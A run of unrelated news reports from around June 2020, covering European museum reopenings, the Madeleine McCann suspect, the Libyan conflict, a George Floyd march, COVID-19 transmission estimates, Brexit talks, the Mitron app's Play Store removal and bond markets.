The 200-year-old Prado National Museum will be free to visitors on Saturday and Sunday and then only charge half its usual entry price until the middle of September.

As one of the most famous museums in Spain, it will not open all its rooms but has opted to create a special route taking in some of its most famous works, with requirement on social distancing.

"We don't have everyone working, so we can't open all of the museum, but we are going to open part of it which best corresponds to the 19th century and focus on the best-known Grand Masters," explained Prado National Museum's Director Miguel Falomir on Spanish TV network RTVE.

Meanwhile, the Reina Sofia Museum has organized a system to ensure that no more than 30 people can view Pablo Picasso's world-famous "Guernica" at any one time.

The three museums have been prepared for their re-opening by erecting transparent shields to protect workers in the areas with public attention, while they have designated different doors for entry and exit to help maintain the flow of visitors, while protective face-masks and the use of hand gels will be obligatory.

"We are fulfilling all the security needs; limiting visitor numbers, sanitary controls, cleanliness and hygienic measures, barriers where there are the most visitors," Evalio Acevedo, managing director of the Thyssen-Bornemisza museum told Xinhua.

Spain's Ministry of Culture and Sport confirmed on Thursday that it will be opening the museums under its jurisdiction on June 9, while other museums, such as the Guggenheim Museum in Bilbao, opened their doors on Monday as a sign that cultural life is slowly returning to normal in Spain. Enditem
The new prime suspect in the Madeleine McCann case had a year-long relationship with a British woman two years before the girl disappeared, it was claimed today.

German paedophile Christian Brueckner, 43, was together with his unidentified English girlfriend from 2004 to 2005 while living near Praia da Luz in Portugal.

Two years later three-year-old Madeleine vanished from a resort in the area in May 2007 - and Brueckner has now been identified as the main suspect 13 years later.

Christian Brueckner (left), 43, is now the prime suspect in the disappearance of Madeleine McCann (right), who vanished from her family's holiday apartment in Portugal on May 3, 2007

This map shows where 43-year-old Brueckner lived on the Algarve in relation to Praia da Luz

Brueckner also had an underage Kosovan former girlfriend whom he lived with in Braunschweig after returning to Germany following Madeleine's disappearance.

Police want to speak to this Kosovan woman whom police believe he may have returned to Portugal with on his most recent trip around five years ago.

The Kosovan is thought to have left the area before Madeleine vanished, while Brueckner is said to have stayed in Praia da Luz, possibly sleeping in a campervan.

One neighbour said Brueckner lived with a girlfriend at a farmhouse above Praia da Luz but 'kept to himself' and allowed the property to fall into disrepair.

When Brueckner lived in the farmhouse above Praia da Luz (pictured) on the Algarve in Portugal, he seldom mixed with his neighbours and allowed the property to fall into disrepair

Another neighbour told how he moved into the home in the mid-1990s with a German girlfriend who left around a year and a half later.

They said: 'They seemed to have a tempestuous relationship. I would hear them arguing. I knew very little about his life but he seemed to me to be a choleric man.'

The German drifter spent 12 years pursuing a bohemian lifestyle  but not long after Madeleine vanished in 2007, he left Portugal and returned to his homeland.

It was in a German bar exactly ten years later  on the anniversary of the three-year-old's disappearance  that Becks-drinking Brueckner turned the spotlight on himself.

The Ocean Club in Praia Da Luz, where Madeleine disappeared during a family holiday in 2007

As Madeleine's face flashed up on the bar's television screen, he reportedly turned to his drinking partner and claimed he 'knew all about' the case.

He is alleged to have said something to suggest he knew what had happened to Maddie, according to a report on Sky News.

Later, it is claimed, he showed his companion a video of himself raping an elderly American widow in Portugal in 2005. The friend contacted German police.

Brueckner swiftly became of interest to the detectives probing Madeleine's disappearance. It was three more years before his name became public.

The last photograph taken of Madeleine shows her smiling next to her little sister Amelie and their father Gerry at 1.30pm on May 3, 2007 in Portugal, the day she went missing

One friend told the Mail that Brueckner's 'life situation' was 'a bit chaotic', but added that 'if everything is true then he was indeed a master of illusion'.

Born in 1976, Brueckner was said to have been raised 'in a home' and committed his first burglary in his home town of Wuerzburg in Bavaria when he was just 15.

Within two years, he was convicted of sexually abusing a child, earning him a two-year youth sentence in 1994. A report claimed he served only part of this term.

Brueckner went on to notch up convictions for drug dealing, driving under the influence and without a licence - before taking off to the Algarve after turning 18.

** Do you know Brueckner's English girlfriend? Email: tips@dailymail.com **
In 2017 about 6.6 million U.S. adults were taking an aspirin a day, despite having no known heart disease and without consulting a doctor, according to a 2019 study from Harvard University and Beth Israel Deaconess Medical Center in Boston.

The latest report's findings echo what the American Heart Association and American College of Cardiology have been saying since March 2019, when guidelines were changed to rule out routine aspirin use for many older adults who don't already have heart disease. The guideline update came after studies, published in 2018, found that aspirin provided only marginal benefits for older adults at low and moderate risk of a heart attack, while aspirin users experienced markedly more digestive-tract bleeding. Prior guidelines had suggested the blood-thinning properties of aspirin were helpful for healthy adults in reducing the chances of a first heart attack or stroke.

Eighteen researchers in the U.K., Italy, Australia, Spain and the U.S. conducted the latest review of 67 independent studies. Beyond cardiovascular disease, they also considered the use of low-dose aspirin for other purposes, including to lower the risk of cancer, of which the benefits are in dispute. European and American guidelines do not support aspirin for cancer prevention.

The authors also considered the use of low-dose aspirin for people with diabetes, who are at high risk of CVD. Observational and intervention studies in this review show little evidence that lowdose aspirin prevents overall and specific CVD events in diabetes, indicating that the widespread use of this medication may not be justified in this population, they wrote.
Forces loyal to Libyas UN-recognised government celebrated another victory against rival strongman Khalifa Haftar Friday after overrunning his last western stronghold, launchpad of an abortive 14-month assault on Tripoli.

The recapture of Tarhuna southeast of the capital capped a week that already saw the Government of National Accord (GNA) reestablish control over the whole of Greater Tripoli with Turkish military support.

Our heroic forces have extended their control over the whole of Tarhuna, said GNA spokesman Mohamad Gnounou.

Fighters loyal to the GNA flashed the victory sign in the towns streets, some with ammunition belts slung around their necks as they rode on top of pick up trucks, others clambering over a tank, AFP pictures showed.

Tarhuna was the main rear base for the devastating offensive against the capital that eastern-based Haftars forces finally gave up this week, abandoning their remaining positions in the southern suburbs to advancing government troops.

Our heroic forces have full control of Greater Tripoli right up to the city limits, Gnounou had announced on Thursday.

GNA head Fayez al-Sarraj vowed that his government would impose its control over the whole of Libya.

Our fight continues and we are determined to defeat the enemy (and) impose state control on the whole of the homeland, Sarraj said after talks with key backer Turkey.

Late Thursday, Haftars spokesman Ahmad al-Mesmari confirmed his forces redeployment away from the capital after more than a year of sometimes intense fighting.

He said the redeployment was a humanitarian gesture intended to spare the Libyan people further bloodshed.

Hundreds have been killed and 200,000 more driven from their homes since Haftar launched his assault, vowing to cleanse the capital of the terrorist militias he said dominated the GNA.

The pro-GNA high command warned its troops on Facebook against perpetrating acts of reprisals, looting or destruction in Tarhuna as their troops circulated in the town on Friday.

Amnesty International said it had obtained evidence indicating that war crimes and other violations may have been committed including, looting, indiscriminate attacks during the upsurge in fighting since mid-April.

 Ceasefire talks 

Mesmari said the redeployment by pro-Haftar forces was intended to boost the work of a UN-backed military commission tasked with shoring up a nationwide ceasefire.

We announce that we are redeploying our forces outside Tripoli on condition that the other side respect the ceasefire, he said in a statement released late Thursday.

If they do not respect it, we will resume military operations and suspend our participation in the negotiations of the military committee.

The United Nations Libya mission said Tuesday that after a three-month suspension, the warring parties had agreed to resume ceasefire talks.

A military commission made up of five GNA loyalists and five Haftar delegates held talks in February, but the dialogue was suspended.

A January truce brokered by Turkey and key Haftar ally Russia has been repeatedly violated.

Haftar is supported by neighbouring Egypt and the United Arab Emirates as well as Russia.

His forces control the whole of eastern Libya, with its economically vital oilfields and export infrastructure.

They also control most of the far-flung oasis cities of the vast desert south.

But they have suffered a string of defeats in recent months at the hands of GNA forces, which have been bolstered by significant Turkish military support.

Earlier this year, Haftars forces already lost a string of towns along the Mediterranean coast between the capital and the Tunisian border.

In April, UN experts said hundreds of mercenaries from Russian paramilitary organisation the Wagner Group were fighting for him.

But last month, as Haftars losses mounted, the GNA said Wagner Group fighters had withdrawn from combat zones south of the capital.

Libya has endured years of violence since the 2011 uprising that toppled and killed longtime dictator Moamer Kadhafi, with rival administrations and scores of militias battling for power.

The United Nations has urged outside powers to respect a deal reached at a January conference in Berlin, ending foreign meddling and upholding a much-violated arms embargo.

Amnesty on Friday urged Turkey, Russia and the UAE to cease violating the UN arms embargo.
ANSONIA  It began with a call for justice and equality near the Martin Luther King Jr. bust at City Hall Thursday morning and ended with a peaceful, late afternoon march to the local police station.

At least 100 people with differing skin tones assembled, brought together by what Deacon Dave Gatison of the Macedonia Baptist Church described as the live, public lynching of an unarmed, handcuffed black man.

Although George Floyds life ended under a police officers knee some 1,269 miles away in Minnesota, area politicians, clergy and residents demanded that it would not be in vain.

On the steps of City Hall, I want to make one thing perfectly clear, Mayor David Cassetti told the crowd of masked people standing on Main Street. We stand with you ... in outrage ... in protest ... in rejecting hate and inequality.

Cassetti pointed to the MLK bust installed a year ago and urged people to carry on his mission to fight hate with love.

While King was gassed, clubbed, jailed without cause, insulted and harassed by federal agents, Cassetti reminded the crowd the minister never issued a threat, raised a fist in anger, or tossed a bomb or fired a gun.

Hate can not drive out hate, only love can do that, Cassetti said, quoting King.

As morning turned into afternoon Thursday, about 125 people marched with police for the nearly mile and a half from City Hall to the police station. Along the way they chanted No Justice, No Peace; Hands Up, Dont Shoot and I Cant Breath.

Many carried signs, like Lynne Schwarzenberg whose sign contained the names of several people who died in recent years at the hands of police.

But, Michelle Sanders of Shelton told the crowd gathered outside the departments Elm Sreet headquarters, All cops didnt kill George Floyd.

A lot of police help police the police, she said, and then commended the Ansonia officers for marching with them.

Her words meant something to Chief Andrew Cota III.

Im proud of my department. Im proud that this community recognizes we will work with them, he said. To see a diverse group of people speaking from their heart about things that truly bother them is important. I respect them.

As the group march up Platt Street, Keisha Martin-Velez watched with her 7-year-old daughter, Morgan Hughes. They recently moved to Ansonia from Stamford.

She said she used the march as a teaching event for her daughter.

Its important she knows the trial and tribulations in addition to the happy-go-lucky times she will experience growing up as a minority woman, Martin-Velez said. She needs to understand that enough is enough and we need to all come together and be unified.

Thursdays events were just the beginning. Another rally is planned by the New Beginnings Church of God at 7 p.m. Friday on the Derby Green and theres another Sunday at 11 a.m. at Ansonias Nolan Field.

The Thursday march was organized by Raymond Williams-McCoy, an Ansonia resident who graduated in 2019 from New Havens High School in the Community, and Andrew Bosworth, an Ansonia High school junior.

A fellow student, Maliqa Mosley-Williams, told the crowd about her fears of being racially profiled or hearing a family member was killed because of suspicions of wrongdoing.

The Ansonia High senior urged everyone to continue to make their voices heard.

Silence only serves the oppressor, Mosley-Williams said. To be silent is to be complicit.

Greg Johnson, who heads the Valley NAACP, is rarely silent when it comes to bias and racial wrongdoing.

Im a product of racism. Racism molded my life. It drove me to become the man I am today, he said. Were supposed to be equal ... but were not being treated equal. Were not being treated justly. As a matter of fact were being treated less than and it has to be stopped.

He urged those gathered to take this tragedy and create strategy.

Enough is enough, he said.
STAMFORD  The city and Downtown Special Services District will continue their outdoor dining initiative this weekend, according to a notice Friday from Mayor David Martins office.

The program, Streateries, aims to boost restaurants just reopening after the coronavirus quarantine.

It allows restaurant owners to place tables on the pavement to maintain social distancing and adhere to state and city COVID-19 protocols.

Streateries is being rolled out in three phases. Phase One will continue Saturday, when Main Street and West Park Place surrounding Columbus Park will be fully closed from 3 p.m. to 11 p.m. Lower Summer Street also will be closed, along with Bedford Street from Broad Street to Spring Street.

The closures may be replicated throughout the summer.

In Phase Two, sidewalks will be extended into some on-street parking spaces and travel lanes to allow for expanded outdoor dining along Main Street, Summer Street and Broad Street. That will begin in mid-June and remain in place until September.

In Phase Three, a portion of the parking area between Bedford Street and the Bedford Street Municipal Garage will be transformed into Bedford Piazza, a large outdoor dining patio.

Guidelines on social distancing will be posted. Residents are advised to wear a mask except when seated and eating. Walkways will be handicapped-accessible, in compliance with Americans with Disabilities Act, according to the mayors notice.

For more information, visit www.stamford-downtown.com. Inquiries may be emailed to annette@stamford-downtown.com or to the DSSD director, David Kooris, at david@stamford-downtown.com.
Reverend Dr Apenkwa Brown, Chairman of the Local Council of Churches in Assin Central Municipality has pledged the Council's unwavering determination to purge itself of "recalcitrant" members who will defy President Akufo's COVID-19 directives.

He said the Council will support government to close down all religious institutions that flout the laid down protocols on social gatherings as Churches reopen on Sunday, June 07.

Speaking in an interview with the Ghana News Agency in Assin-Fosu, he said the Council was obliged to prove its commitment by strictly adhering to laid down safety protocols and urged all Churches to adhere to the guidelines set for their reopening.

The President in a televised broadcast on Sunday, May 31, lifted the restrictions, paving the way for religious activities to commence on Friday, June 05 with the opening of Mosques and Sunday, June 07 by Churches, but with only a maximum of 100 persons in a Mosque or Church at a time.

"It is important to note that addressing COVID-19 requires the collective responsibility of both the Church and State and the Church being a major stakeholder is indispensable in the State's COVID-19 response", he noted.

Rev Dr Brown said since the closure, the government from time to time met the ecumenical bodies, made up of the Christian Council of Ghana, Ghana Catholic Bishops, Ghana Pentecostal and Charismatic Council, Ghana National Association of Charismatic and Christian Churches and other faith based organisations to deliberate on the situation.

Strategies proposed during the meetings were strict hygienic measures including; hand washing protocols, spaced sitting arrangements, wearing of facemasks to church, avoiding handshakes, and no waving of handkerchiefs at Church.

Temperatures of members were to be checked before entering church premises, while families could be made to sit together at church observing social distancing.

However, he advised that communion services, a Christian sacrament of sharing of wine and bread, should be done in such a way that would reduce hand-to-hand transmission, while offering individual cups for the communion.

The giving of offerings and tithes could be done via mobile money system or be put in a stationary bowls or baskets with wide openings.

He proposed that intensive education was carried out for the congregation by selected trained members of the church, while church services should be done in sessions to reduce the number of people that congregated at a time for worship.

Rev Dr Brown said: "These are protocols that will help our well-being and encourage everybody to embrace them".

---GNA
A Walker County mother is behind bars after authorities say she beat her toddler son in the head with a brick and choked him.

Melody Smith, 33, told investigators that the devil made her do it, and that her 2-year-old son was the devil, said Walker County Sheriffs Investigator Carl Carpenter.

The sheriffs office was notified of the attack about 10:45 a.m. Wednesday by a deputy who had personal knowledge of a child being struck with a brick. Deputies started to head toward the town of Parrish where the assault took place in the front yard of the familys residence.

Carpenter said they learned the boy was being driven to the hospital by Smith and deputies intercepted them en route. Medics were nearby and also responded. The boy was then airlifted to Childrens of Alabama.

On Friday, he remained in the hospitals Pediatric Intensive Care Unit. Carpenter said he was struck multiple times in the head with the brick and also was choked. He was in and out of consciousness when deputies and medics found him. At one point he wasnt breathing, Carpenter said. There were indications of hypoxia, which is the absence of enough of oxygen in the tissues to sustain bodily functions.

The boy is expected to live but its too soon to tell how much, if any, permanent damage was done by the injuries and the lack of oxygen.

Smith had a court hearing Friday morning. Her bond was set at $250,000 on the aggravated child abuse charge.

Carpenter said DHR has been brought in and emergency custody arrangements for the boy have been made. Im just glad the little guy lived. That was my worry, he said. Hes a little fighter.
E ngland's battle against coronavirus appears to have suffered a major setback in recent days as transmission levels rise probably due to more travelling and mixing between households, a shock analysis warned today.

The research by a Cambridge University/Public Health England joint modelling team suggested the disease may now be spreading very slightly in the North West, is at a stand-still level in the South West, and is declining in other regions, but far more slowly in London than previously.

Even in the capital and other regions a small increase in the R transmission rate, to take it above one, would see the number of new cases starting to rise again.

The study also put the number of new cases at the moment at a worryingly high 17,000 a day.

Dr Yvonne Doyle, PHE medical director, said: Our estimates show that the regional R numbers have increased although they remain below one for most of England - this is to be expected as we gradually move out of lockdown.

It is vital that everyone continues with social distancing, practising good hand hygiene and must remain at home and order a test if they have symptoms.

The analysis is not the official R rate from the Government which Health Secretary Matt Hancock announced this afternoon at between 0.7 and 0.9 for the whole of the UK, citing a report led by the Office for National Statistics suggesting the epidemic certainly at the end of May was under more control.

Giving the No10 press conference alone, he said: Its important that people dont seize on one report but rather look at all the reports in the round.

So the overall view of SAGE (the Scientific Advisory Group for Emergencies) having considered all of the information that has come in is that R over the country as a whole remains between 0.7 and 0.9.

Matt Hancock during the daily coronavirus press conference in Downing Street / PA

Critically, the ONS study which was one of the largest studies and is based on direct measurement rather than modelling shows that the number of new cases per day has fallen from between 9,000 and 7,000 as it was thought to be around a week ago to around 5,600.

He added that there was a challenge with the disease in the North West which needed to be addressed, and to a lesser extent in the South West.

However, the Cambridge University/PHE analysis will inevitably raise fresh questions over whether the Government started easing Covid-19 restrictions too quickly and if the Dominic Cummings Durham trip furore damaged the lockdown.

It emerged shortly before the Department of Health said 40,261 people had died in hospitals, care homes and the wider community after testing positive for coronavirus in the UK as of 5pm on Thursday, up by 357 from 39,904 the previous day.

Coronavirus in numbers: UK death toll climbs above 40,000

The figures suggested the number of Covid-19 fatalities may now no longer be falling on a sustained and consistent basis, which is one of the Governments five tests for easing the lockdown.

In a series of alarming findings, the Cambridge University/PHE experts said:

We estimate that across England there are 17,000 new infections a day (though there could be as many as 25,000 or as few as 11,000).

There is some evidence that R (the infection rate) has risen in all regions and we believe this is probably due to increasing mobility and mixing between households and in public and workplace settings

We estimate that the number of deaths each day is likely to fall to between 100250 by mid-June. An increase in R will lead to a slowdown in the decrease in new infections and deaths

There is evidence, from the forecast of deaths, that the increases in the regional reproductive numbers may result in the decline in the national death rate being stopped by mid-June.

If the R rate is above one it means that the disease is on the increase, and on the decline if it is below one.

Matt Hancock says that the 'R' is between 0.7 and 0.9 and government will 'crack down on localised outbreaks when they come'

For London, R is believed to have been as low as 0.4 or 0.5 but is now 0.95, according to the research.

For the North West it is 1.01, the South West one though on a relatively small number of cases, the South East 0.97, East of England, 0.94, Midlands 0.9, and North East and Yorkshire 0.89.

The grim figures emerged just hours after a study led by the Office for National Statistics suggested the disease was coming under control.

It estimated the number of people with Covid-19 in England was 53,000, outside hospitals and care homes, at any given time between May 17 and 30.

This is less than half last weeks figure of 133,000, for the period between May 11-24, and was by far the biggest fall so far.

There were still believed to be 39,000 new infections on average a week, between 26 April and 30 May 2020, though again a drop from 54,000 from a week earlier.

UK Schools begin to reopen during Coronavirus lockdown ease 1 /28 UK Schools begin to reopen during Coronavirus lockdown ease Harris Academy Primary School Jeremy Selwyn Parents drop off children at Queen's Hill Primary School, Costessey, Norfolk, as pupils in Reception, Year 1 and Year 6, begin to return to school as part of a wider easing of lockdown measures PA Harris Academy Primary School Jeremy Selwyn Harris Academy Primary School Jeremy Selwyn Harris Academy Primary School Jeremy Selwyn Harris Academy Primary School Jeremy Selwyn Harris Academy Primary School in Croydon Jeremy Selwyn Harris Academy Primary School in Croydon Jeremy Selwyn Harris Academy Primary School in Croydon Jeremy Selwyn Harris Academy Primary School in Croydon Jeremy Selwyn Harris Academy Primary School in Croydon Jeremy Selwyn Harris Academy Primary School in Croydon Jeremy Selwyn Harris Academy Primary School in Croydon Jeremy Selwyn Harris Academy Primary School in Croydon Jeremy Selwyn Harris Academy Primary School in Croydon Jeremy Selwyn Parents and children arrive at Watlington Primary School as some schools re-open Reuters Lessons with reduced class sizes at Queen's Hill Primary School, Costessey, Norfolk, as pupils in Reception, Year 1 and Year 6, begin to return to school as part of a wider easing of lockdown measures PA Parents and children arrive at Watlington Primary School as some schools re-open Reuters Parents drop off children at Queen's Hill Primary School, Costessey, Norfolk PA Parents drop off children at Queen's Hill Primary School, Costessey, Norfolk, as pupils in Reception, Year 1 and Year 6, begin to return to school as part of a wider easing of lockdown measures. PA Parents drop off children at Queen's Hill Primary School, Costessey, Norfolk, as pupils in Reception, Year 1 and Year 6, begin to return to school as part of a wider easing of lockdown measures. PA

Professor Jeremy Farrar, director of the Wellcome Trust and a member of the Governments Scientific Advisory Group for Emergencies (SAGE), welcomed the ONS figures as very good news and stressed they were falling as a result of respecting the restrictions in place since March.

He tweeted further: If physical distancing & other measures continue these numbers will probably fall within June to levels that a fully functional, locally responsive community Test-Trace-Isolate system, infection control in Hospitals/Care homes/others could cope with.

The study, done in conjunction with Oxford University, Manchester University, and Public Health England, also raised hopes that the lockdown could be eased more quickly and people might be able to get away on summer holidays abroad.

But the more up-to-date figures from the Cambridge University and Public Health England experts suggested relaxation of restrictions have already pushed the transmission rate close to a level which could be the start of the epidemic growing again, with the death toll, including suspected Covid fatalities without a positive test, already above 50,000.

The stark difference with the ONS figures also raised questions over reliability of estimates on coronavirus.

Professor Sheila Bird, former Programme Leader, MRC Biostatistics Unit, University of Cambridge, said: The findings are the opposite of reassuring.

First, in no region of England is the effective reproduction number assuredly below 1 with regions median estimates ranging from 0.89 to 1.01. No wonder members of SAGE are worried.

Secondly, the estimated daily number of new infections is 16,700 (uncertainty interval: 11,000 to 25,000). That is three times this mornings estimate from the ONS Infection Survey of 5,600 new infections daily for persons who reside in households (95 per cent CI: 3,700 to 7,900).

The lockdown has been gradually eased since May 10 when Boris Johnson unveiled his conditional plan to reopen society by urging people who could not work from home to return to the workplace - but avoid public transport.

That Wednesday, May 13, people were allowed to meet with one other person from outside their household, providing they maintained a two-metre distance.

On June 1 lockdown measures were eased to allow more pupils to return to school and people were urged to return to work.

Since Monday, individuals have been allowed to meet with up to five people from separate households outdoors and more than two million clinically vulnerable people who have been shielding also be allowed to go outside.

The Prime Minister announced the rules last Thursday.

But due to the hot weather over the weekend it is thought many people saw the announcement as a green light to break lockdown prematurely to meet friends and family while thousands flocked to beaches.

A number of scientists and public health experts raised concerns about lifting the lockdown too quickly and the risk of a second spike.

However, ministers are caught in a fraught dilemma between sticking to measures to suppress the disease or relaxing them to ease the economic, social and health harm being caused by the lockdown.

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If they act too quickly, the epidemic may return, but if they are too slow, more people will continue suffering unnecessarily from economic woes, being out of work, even if furloughed, and mental health problems linked to social restrictions.
BRUSSELS (dpa-AFX) - Estonia's consumer prices declined for the second straight month in May, data from Statistics Estonia showed on Friday. The consumer price index fell 1.7 percent year-on-year in May, following a 0.8 percent decrease in April. 'The last time the change of the consumer price index in comparison with the same month of the previous year was so substantial was more than ten years ago in December 2009, when it was also -1.7 percent,' Statistics Estonia analyst Viktoria Trasanov, said. Consumer prices were affected the most by price decrease in motor fuel. Petrol decreased 18.0 percent and diesel fuel was 26.8 percent cheaper. Electricity and energy prices together declined 9.3 percent, while prices of food and non-alcoholic beverages grew 2.5 percent. On a monthly basis, consumer prices fell 0.7 percent in May, following a 0.4 percent decline in the previous month. Copyright RTT News/dpa-AFX

Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.
Failure to reach deal by June 30 might mean UK will have to continue negotiations with EU beyond the end of this year.

The latest round of talks between the U.K. and European Union over their future relationship is set to finish without agreement, with both sides stuck after a week of making little progress.

Officials are still far apart on crucial issues ahead of a key deadline at the end of the month, and the tense atmosphere hasnt improved significantly, according to people familiar with the matter.

The failure to narrow the gap between the U.K. and EU positions will add to pressure for Prime Minister Boris Johnson and European Commission President Ursula von der Leyen to intervene directly to break the deadlock when they hold talks later this month. EU officials hope then to persuade Johnson to compromise  but that may be wishful thinking in the words of the prime ministers spokesman.

The two sides have made no real progress, Germanys ambassador to the bloc, Michael Clauss, said Thursday. He warned that the post-Brexit deliberations could now drag on through October, spelling months of uncertainty for businesses and consumers.

Is a deal possible? Yes, definitely, Clauss told an online event Thursday organized by the Brussels-based European Policy Centre. But I think it also means that the U.K. needs to have a more realistic approach, he said. Britain cannot have full sovereignty and at the same time full access to the internal market.

The two sides have clashed over what measures will be needed to ensure a level competitive playing field between the two sides as well as over the EUs demand to have continued access to U.K. fishing waters, which are among the most fertile in Europe.

Johnson has said he wont accede to Brussels demands to sign up to some of the blocs regulations after Brexit, something the EU insists is a red line for any deal. Earlier in the week, Downing Street dismissed reports that Johnson was ready to compromise on giving EU boats access to U.K. waters.

There are just weeks left until a crucial June 30 deadline by when the U.K. needs to decide if it is going to ask to extend the negotiations beyond the end of this year.

So far, Johnson has repeatedly ruled out seeking additional time and has warned that if no significant progress is made by the end of the month, he may walk away from the negotiating table and prepare instead to leave the EU single market and customs union without a new trade agreement in place.

That would see costly tariffs imposed on goods traded between the two sides and leave businesses grappling with additional paperwork.

Clauss warned that the post-Brexit negotiations could still occupy much of the EUs political attention in September and October  effectively the last date a deal could be signed and still be implemented in time for the year-end.

This is a must-do, he said. We work under the assumption the U.K. isnt going to ask for an extension. That means a deal needs to be struck in the next six months.
Senior Tory MPs have launched an alliance with parliamentarians across the world to raise "grave concerns" about China and urge governments to adopt a tougher stance toward Beijing.

Iain Duncan Smith, the former Conservative Party leader who co-chairs the British chapter of the new group, claims governments have been "asleep to the dangers posed by China".

With Labour's Helena Kennedy, Mr Duncan Smith will co-chair the UK side of the Inter-Parliamentary Alliance on China (IPAC), which will have representatives from Australia, Canada, Germany, Japan and America.

Mr Duncan Smith says politicians should not let their "political differences split our response to China's assertive authoritarianism".

He adds: "The time has come for democratic countries around the world to mount a common defence of our shared principles as a response to China's increasing belligerent foreign policy."

The group says China has not been "held to the same standards of other countries".

Mr Duncan Smith accuses Beijing of being a "problematic actor" in global institutions, saying it gave "delayed and inaccurate reporting of early coronavirus cases to the World Health Organisation" and claims it has used "covert attempts to buy political influence and restrict academic debate".

Meanwhile, Hong Kong politicians yesterday approved a bill to criminalise insults to China's national anthem, a move expected to spark further outrage among protesters over Beijing's tightening grip on the territory.

The proposal passed despite pro-democracy lawmakers dropping stink bombs in the chamber in protest as votes were cast.

Hong Kong yesterday ramped up the police presence ahead of potential clashes with protesters after a vigil commemorating the Tiananmen Square massacre was banned for the first time. Authorities cited social distancing measures.

Barricades went up in Victoria Park to try to stop people gathering to remember lives lost when the military shot peaceful pro-democracy demonstrators in 1989.

But thousands of protesters defied the ban, entering the park and chanting: "Fight for freedom - stand with Hong Kong." ( Daily Telegraph, London)

Telegraph Media Group Limited [2021]
Agona West Municipal Chief Executive, Hon. Mrs. Justina Marigold Assan has cut the sod for the commencement of the construction of 2.5km roads in Agona Swedru.

At the sod-cutting ceremony held at Agona Swedru last Wednesday, the MCE announced that the programme was been carried out to commence the Urban Development Grant projects under the Ghana Secondary Cities Support programme in the Municipality

" The programme is aimed at developing new Cities in an effort at decongesting major cities in the country

Today is indeed another great day with regards to the development of Agona West Municipality and we have every right to be joyous as residents

Am very happy to inform you that Agona West Municipal Municipality is fortunate to be part of the twenty-five (25) Municipalities selected across the country to benefit from World Bank programme

It is also worthy to note that the Assembly has decided to use this programme to improve roads in the Municipality particularly in Agona Swedru"

Hon. Mrs. Justina Marigold Assan stressed the importance of good roads adding good roads play key role in the Socio-economic development of every country

" It is for this reason that the Agona West Municipal Assembly and the Central Government have been committed to improvement of roads

As we are all aware, His Excellency Nana Addo Dankwa Akufo Addo, President of the Republic of Ghana has declared 2020 as the Year of Roads.

Efforts are being made to address the bad road network throughout the country. This has started and those of us in Agona West Municipality have witnessed over the past months the asphalting of the Swedru Town roads

Today's sod-cutting ceremony is for the commencement of 2.5km Mahodwe area roads which includes Mahodwe Link, Osama Street, Nana Doudu Street, Nana Donkor Street, Esukontin road, Egya Abusua Road and Otabilkrom road

Others include paving of the forecourt of the Swedru Town Hall and paving of Swedru Taxi Rank. The project is expected to be completed in 12 Months"

The Agona West MCE commended Swedruman Council of Chiefs, Drivers and traders at Osama, as well as Swedru Taxi Rank Drivers Yam Sellers for their utmost co-operation and support, exhibited during the stakeholders' engagement on relocation

Minister for Gender Children and Social Protection, Hon. Cynthia Morrison noted that Government was on course to ensure roads in the country are motorable for smooth transportation of goods and services.

According Hon. Cynthia Morrison who is also the Member of Parliament for Agona West, major road network throughout the Municipality were being constructed.

She mentioned the ongoing asphalting of Swedru Town Roads, Swedru-Akim Oda, Swedru- Winnebago and other routes in the vicinity.
The Adentan Constituency of the Convention Peoples Party (CPP) has launched an electronic platform to mobilise revenue to win the Adentan Parliamentary seat in Election 2020.



A statement copied to the Ghana News Agency in Accra said the platform, which was a collaborative work between the constituency and Wigal Solution; an IT mobile content company would also enable members register and pay dues.



It said the platform, which had a short code of *800*123# for membership registration, dues and donation payment system was linked to its NIB bank account.



The statement quoted Mr. Abdul Malik Jeleel, the Chairman of the constituency as saying the integrated system was part of the internal party strategies to win the parliamentary seat for the party in December elections.



He urged members to take advantage of the initiative to register and resource the party to win the seat.



Mr Jeleel commended stakeholders for providing the necessary logistics for the novelty in CPP party fund mobilization.

Source: GNA









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New Delhi: Due to the boycott of the Chinese app, the very popular Mitron app may return to the Google Play Store in a short time. Recently, Google abruptly removed the app from the Play Store, citing policy violations.

In his blog post, Sameer Samat, vice president of Android and Google Play, said that Google is working with developers to resolve technical issues and re-launch the app without naming the Mitron app.

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Mitron app Mitron was seen as an Indian alternative to TikTok. As a result, more than 5 million downloads were made to the Google Play Store in less than a month.

In fact, in the midst of a campaign to boycott the Chinese app, Mitron was considered an Indian app, so people were downloading it, but later found out that it was a rebranded version of a Pakistani app.

"We have asked the developer to make some improvements, the app may return to the Play Store as soon as it is implemented," said Sameer Samat, hinting at the return of Mitron in his blog.

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Remove China AppsLike 'Mitron', Google has also removed 'Remove China Apps' from the Play Store, which helps in deleting Chinese apps. Retrieval of this app is not possible at this time.

In his blog, Sameer clarified that an app that targets other apps cannot be placed on the Play Store. "We have recently removed many apps for violating the policies," he wrote.

We do not allow apps that encourage users to remove or disable third-party apps or modify device settings or features unless they are part of an authorized security service.
* German 30-year yields rise to five-month high

* Long-end Italy/Germany spread at tightest since March

* U.S. payroll numbers due later on Friday

* Euro zone periphery govt bond yields http://tmsnrt.rs/2ii2Bqr

By Abhinav Ramnarayan

LONDON, June 5 (Reuters) - Safe-haven German government bonds sold off for a second day on Friday, with yields reaching their highest levels in months, after the European Central Bank's support for the euro helped boost sentiment towards the euro zone.

Southern European borrowing costs fell further and the gap between long-dated Italian and German bond yields shrunk to its narrowest since the first coronavirus-related market rout in late March.

The ECB approved a bigger-than-expected expansion of its stimulus package on Thursday to prop up an economy plunged by the coronavirus pandemic into its worst recession since World War Two.

"If you think about what the ECB has done, it is dramatically supporting the euro through reducing tail risk. Peripheral spreads will keep tightening, especially at the long end," said Peter Chatwell, Mizuho's head of rates.

The gap between Italian and German 30-year bond yields was at its narrowest since March 27 at 211 basis points.

Long-dated German government bond yields rose six basis points to 0.24%, its highest level since January. The bonds were trading at a negative yield just 10 days ago.

"Yesterday, Christine (Lagarde) fired yet another bazooka - almost doubling the size of the purchase programme. That means a lot of support for Italy," said Gregory Perdon, co-chief investment officer at Arbuthnot Latham.

